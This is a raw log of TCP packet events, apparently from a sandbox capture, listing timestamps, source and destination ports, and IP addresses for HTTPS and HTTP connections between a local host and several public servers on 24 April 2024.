Apr 24, 2024 23:07:40.221584082 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.221606016 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.223275900 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.223354101 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.257884026 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.258099079 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.258107901 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.258271933 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.309470892 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.309495926 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.358583927 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.538095951 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.538212061 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.539681911 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.619712114 CEST	49733	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.619754076 CEST	443	49733	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.620461941 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.620500088 CEST	443	49734	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.620753050 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.621140957 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:40.621148109 CEST	443	49734	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:40.977844000 CEST	443	49734	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:41.024451971 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:41.707863092 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:41.707885981 CEST	443	49734	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:41.709332943 CEST	443	49734	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:41.757781029 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:41.773222923 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:41.773222923 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:41.773247004 CEST	443	49734	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:41.773495913 CEST	443	49734	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:41.824585915 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:41.836546898 CEST	49736	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:41.836597919 CEST	443	49736	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:41.836673975 CEST	49736	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:41.837379932 CEST	49736	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:41.837394953 CEST	443	49736	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:41.909687996 CEST	49737	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:41.909789085 CEST	443	49737	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:41.910150051 CEST	49737	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:41.910911083 CEST	49737	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:41.910947084 CEST	443	49737	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.153085947 CEST	443	49736	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.154078007 CEST	49736	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.154108047 CEST	443	49736	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.154614925 CEST	443	49736	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.156136990 CEST	49736	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.156234026 CEST	443	49736	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.156413078 CEST	49736	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.163333893 CEST	443	49734	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:42.163425922 CEST	443	49734	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:42.163631916 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:42.163786888 CEST	49734	443	192.168.2.5	35.190.80.1
Apr 24, 2024 23:07:42.163809061 CEST	443	49734	35.190.80.1	192.168.2.5
Apr 24, 2024 23:07:42.197824955 CEST	49736	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.197851896 CEST	443	49736	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.224874020 CEST	443	49737	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.225236893 CEST	49737	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.225296021 CEST	443	49737	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.225645065 CEST	443	49737	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.226377964 CEST	49737	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.226452112 CEST	443	49737	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.227670908 CEST	49737	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.272125006 CEST	443	49737	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.524607897 CEST	443	49736	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.524764061 CEST	443	49736	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.525177956 CEST	49736	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.529366016 CEST	49736	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.529392958 CEST	443	49736	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.539012909 CEST	49741	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.539124966 CEST	443	49741	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.539226055 CEST	49741	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.539520979 CEST	49741	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.539551020 CEST	443	49741	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.581871986 CEST	443	49737	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.581948996 CEST	443	49737	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.582593918 CEST	49737	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.583667040 CEST	49737	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.583693981 CEST	443	49737	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.600661993 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:42.601277113 CEST	49703	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:42.635674000 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:42.635744095 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:42.636138916 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:42.639396906 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:42.639430046 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:42.760943890 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:42.761598110 CEST	443	49703	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:42.854295015 CEST	443	49741	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.898900032 CEST	49741	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.898946047 CEST	443	49741	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.899694920 CEST	443	49741	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.936742067 CEST	49741	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.936999083 CEST	443	49741	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:42.945924997 CEST	443	49709	172.64.151.51	192.168.2.5
Apr 24, 2024 23:07:42.946011066 CEST	443	49709	172.64.151.51	192.168.2.5
Apr 24, 2024 23:07:42.946064949 CEST	49709	443	192.168.2.5	172.64.151.51
Apr 24, 2024 23:07:42.964453936 CEST	49741	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:42.974301100 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:42.974385977 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:43.008142948 CEST	443	49741	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.207360029 CEST	443	49741	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.207456112 CEST	443	49741	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.207519054 CEST	49741	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.223567963 CEST	49741	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.223615885 CEST	443	49741	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.353389025 CEST	49709	443	192.168.2.5	172.64.151.51
Apr 24, 2024 23:07:43.353416920 CEST	443	49709	172.64.151.51	192.168.2.5
Apr 24, 2024 23:07:43.353811026 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.353859901 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.353930950 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.354238987 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.354254961 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.560332060 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:43.560400009 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:43.561592102 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:43.561670065 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:43.562252045 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:43.562320948 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:43.562433004 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:43.562447071 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:43.666604996 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.666937113 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.667011976 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.667512894 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.667973042 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.668075085 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.669817924 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.669915915 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.669959068 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.670016050 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.670028925 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.670175076 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.670205116 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.917686939 CEST	49745	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.917737961 CEST	443	49745	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.921941042 CEST	49745	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.922564030 CEST	49745	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:43.922580957 CEST	443	49745	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:43.940629959 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:43.940875053 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:43.941273928 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:43.941340923 CEST	443	49742	23.1.237.91	192.168.2.5
Apr 24, 2024 23:07:43.941735029 CEST	49742	443	192.168.2.5	23.1.237.91
Apr 24, 2024 23:07:44.009193897 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.009247065 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.009282112 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.009314060 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.009454966 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.009455919 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.009505033 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.009687901 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.009994984 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.010165930 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.010411024 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.010452032 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.010490894 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.010613918 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.010647058 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.010659933 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.011257887 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.011292934 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.011307001 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.011542082 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.011600971 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.011614084 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.011756897 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.011802912 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.011815071 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.012347937 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.012382984 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.012398005 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.012526989 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.012558937 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.012571096 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.012654066 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.012691975 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.014729977 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.014729977 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.047297955 CEST	49746	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.047363997 CEST	443	49746	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.051372051 CEST	49746	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.051372051 CEST	49746	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.051449060 CEST	443	49746	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.237435102 CEST	443	49745	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.241769075 CEST	49745	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.241791010 CEST	443	49745	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.242249966 CEST	443	49745	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.243046999 CEST	49745	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.243046999 CEST	49745	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.243129015 CEST	443	49745	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.366493940 CEST	443	49746	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.370693922 CEST	49746	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.370753050 CEST	443	49746	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.371850967 CEST	443	49746	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.372359037 CEST	49746	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.372359037 CEST	49746	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.372543097 CEST	443	49746	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.380372047 CEST	49745	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.395795107 CEST	49744	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.395827055 CEST	443	49744	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.496994019 CEST	49746	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.590018034 CEST	443	49745	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.590233088 CEST	443	49745	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.590749979 CEST	49745	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.592235088 CEST	49745	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.592259884 CEST	443	49745	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.721267939 CEST	443	49746	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.721344948 CEST	443	49746	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:44.721584082 CEST	49746	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.722732067 CEST	49746	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:44.722778082 CEST	443	49746	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:47.286529064 CEST	80	49717	141.193.213.20	192.168.2.5
Apr 24, 2024 23:07:47.286600113 CEST	49717	80	192.168.2.5	141.193.213.20
Apr 24, 2024 23:07:47.286921024 CEST	80	49718	141.193.213.20	192.168.2.5
Apr 24, 2024 23:07:47.286979914 CEST	49718	80	192.168.2.5	141.193.213.20
Apr 24, 2024 23:07:48.611061096 CEST	49717	80	192.168.2.5	141.193.213.20
Apr 24, 2024 23:07:48.611123085 CEST	49718	80	192.168.2.5	141.193.213.20
Apr 24, 2024 23:07:48.764374018 CEST	80	49717	141.193.213.20	192.168.2.5
Apr 24, 2024 23:07:48.764434099 CEST	80	49718	141.193.213.20	192.168.2.5
Apr 24, 2024 23:07:56.521174908 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:56.521228075 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:56.521508932 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:56.521998882 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:56.522017002 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:56.837867022 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:56.838196039 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:56.838274002 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:56.839427948 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:56.839879036 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:56.840080976 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:56.840138912 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:56.840209961 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:56.840291023 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:56.840389013 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:56.840435982 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.183190107 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.183273077 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.183342934 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.183368921 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.183440924 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.183536053 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.183537006 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.183590889 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.184187889 CEST	49747	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.184217930 CEST	443	49747	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.192590952 CEST	49748	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:57.192627907 CEST	443	49748	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:57.192763090 CEST	49748	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:57.194190979 CEST	49748	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:57.194204092 CEST	443	49748	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:57.197917938 CEST	49749	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.197958946 CEST	443	49749	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.198024988 CEST	49749	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.198241949 CEST	49749	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.198256969 CEST	443	49749	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.514702082 CEST	443	49749	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.514987946 CEST	49749	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.515013933 CEST	443	49749	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.516292095 CEST	443	49749	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.516648054 CEST	49749	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.516779900 CEST	49749	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.516820908 CEST	443	49749	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.527245998 CEST	443	49748	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:57.527455091 CEST	49748	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:57.527472973 CEST	443	49748	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:57.528402090 CEST	443	49748	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:57.528723955 CEST	49748	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:57.528805971 CEST	443	49748	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:57.528862000 CEST	49748	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:57.528879881 CEST	49748	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:57.528892994 CEST	443	49748	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:57.557471037 CEST	49749	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.867852926 CEST	443	49749	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.868010998 CEST	443	49749	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:57.868604898 CEST	49749	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.871699095 CEST	49749	443	192.168.2.5	104.17.2.184
Apr 24, 2024 23:07:57.871721983 CEST	443	49749	104.17.2.184	192.168.2.5
Apr 24, 2024 23:07:58.162384987 CEST	443	49748	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.162777901 CEST	443	49748	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.162889004 CEST	49748	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.167706966 CEST	49748	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.167732954 CEST	443	49748	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.181437016 CEST	49750	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.181440115 CEST	49751	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.181515932 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.181516886 CEST	443	49750	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.181624889 CEST	49751	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.181627035 CEST	49750	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.182280064 CEST	49752	443	192.168.2.5	151.101.130.137
Apr 24, 2024 23:07:58.182300091 CEST	443	49752	151.101.130.137	192.168.2.5
Apr 24, 2024 23:07:58.182754993 CEST	49752	443	192.168.2.5	151.101.130.137
Apr 24, 2024 23:07:58.183177948 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 24, 2024 23:07:58.183180094 CEST	49752	443	192.168.2.5	151.101.130.137
Apr 24, 2024 23:07:58.183212996 CEST	443	49752	151.101.130.137	192.168.2.5
Apr 24, 2024 23:07:58.183214903 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 24, 2024 23:07:58.183371067 CEST	49751	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.183406115 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.183456898 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 24, 2024 23:07:58.183712006 CEST	49750	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.183748007 CEST	443	49750	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.183790922 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 24, 2024 23:07:58.183808088 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 24, 2024 23:07:58.342199087 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.342231989 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.342415094 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.342581987 CEST	49754	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.342597008 CEST	443	49754	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.504127026 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 24, 2024 23:07:58.504559994 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 24, 2024 23:07:58.504582882 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 24, 2024 23:07:58.505986929 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 24, 2024 23:07:58.507710934 CEST	49753	443	192.168.2.5	104.17.3.184
Apr 24, 2024 23:07:58.507914066 CEST	443	49753	104.17.3.184	192.168.2.5
Apr 24, 2024 23:07:58.509691954 CEST	443	49752	151.101.130.137	192.168.2.5
Apr 24, 2024 23:07:58.510099888 CEST	49752	443	192.168.2.5	151.101.130.137
Apr 24, 2024 23:07:58.510139942 CEST	443	49752	151.101.130.137	192.168.2.5
Apr 24, 2024 23:07:58.510641098 CEST	443	49752	151.101.130.137	192.168.2.5
Apr 24, 2024 23:07:58.511022091 CEST	49752	443	192.168.2.5	151.101.130.137
Apr 24, 2024 23:07:58.511109114 CEST	443	49752	151.101.130.137	192.168.2.5
Apr 24, 2024 23:07:58.522207022 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.522524118 CEST	49751	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.522571087 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.523650885 CEST	443	49750	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.523705006 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.523938894 CEST	49750	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.523958921 CEST	443	49750	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.524214029 CEST	49751	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.524401903 CEST	49751	443	192.168.2.5	172.67.137.23
Apr 24, 2024 23:07:58.524405003 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.524513960 CEST	443	49751	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.525279045 CEST	443	49750	172.67.137.23	192.168.2.5
Apr 24, 2024 23:07:58.525609016 CEST	49750	443	192.168.2.5	172.67.137.23
